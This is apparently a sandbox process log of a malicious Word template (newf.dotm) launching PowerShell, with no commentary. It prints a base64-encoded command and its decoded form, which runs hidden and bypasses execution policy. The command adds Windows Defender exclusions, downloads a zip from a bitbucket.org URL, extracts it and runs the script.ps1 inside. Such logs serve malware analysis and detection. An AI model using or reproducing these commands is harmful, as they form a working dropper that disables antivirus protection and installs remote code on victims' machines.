WINWORD.EXE "C:\Program Files (x86)\Microsoft Office\Office15\WINWORD.EXE" C:\Users\test22\AppData\Local\Temp\newf.dotm
804powershell.exe powershell.exe -e cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAGIAeQBwAGEAcwBzACAALQBuAG8AcAByAG8AZgBpAGwAZQAgAC0AdwBpAG4AZABvAHcAcwB0AHkAbABlACAAaABpAGQAZABlAG4AIAAtAGMAbwBtAG0AYQBuAGQAIAAiAE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACcAQwA6AFwAXABUAGUAbQBwAFwAXAAnACAALQBJAHQAZQBtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQA7AEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAnAEMAOgBcAFQAZQBtAHAAXAAnADsAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAJwA7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBiAGkAdABiAHUAYwBrAGUAdAAuAG8AcgBnAC8AZgBvAHgAeABsAHIAZQBwAC8AcgBlAHAAbwAvAGQAbwB3AG4AbABvAGEAZABzAC8AegBpAHAALgB6AGkAcAAnACwAJwBDADoAXABcAFQAZQBtAHAAXABcAE4AZQB3AGYAaQBsAGUALgB6AGkAcAAnACkAOwBFAHgAcABhAG4AZAAtAEEAcgBjAGgAaQB2AGUAIAAtAFAAYQB0AGgAIAAnAEMAOgBcAFwAVABlAG0AcABcAFwATgBlAHcAZgBpAGwAZQAuAHoAaQBwACcAIAAtAEQAZQBzAHQAaQBuAGEAdABpAG8AbgBQAGEAdABoACAAJwBDADoAXABcAFQAZQBtAHAAXABcACcAIAAtAEYAbwByAGMAZQA7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJwBDADoAXABcAFQAZQBtAHAAXABcAHMAYwByAGkAcAB0AC4AcABzADEAJwAiAA==
2212powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy bypass -noprofile -windowstyle hidden -command "New-Item -Path 'C:\\Temp\\' -ItemType Directory;Add-MpPreference -ExclusionPath 'C:\Temp\';Add-MpPreference -ExclusionPath 'C:\Users\test22\AppData\Roaming';(New-Object System.Net.WebClient).DownloadFile('https://bitbucket.org/foxxlrep/repo/downloads/zip.zip','C:\\Temp\\Newfile.zip');Expand-Archive -Path 'C:\\Temp\\Newfile.zip' -DestinationPath 'C:\\Temp\\' -Force;Start-Process powershell.exe -ArgumentList 'C:\\Temp\\script.ps1'"
2372powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" C:\\Temp\\script.ps1
2524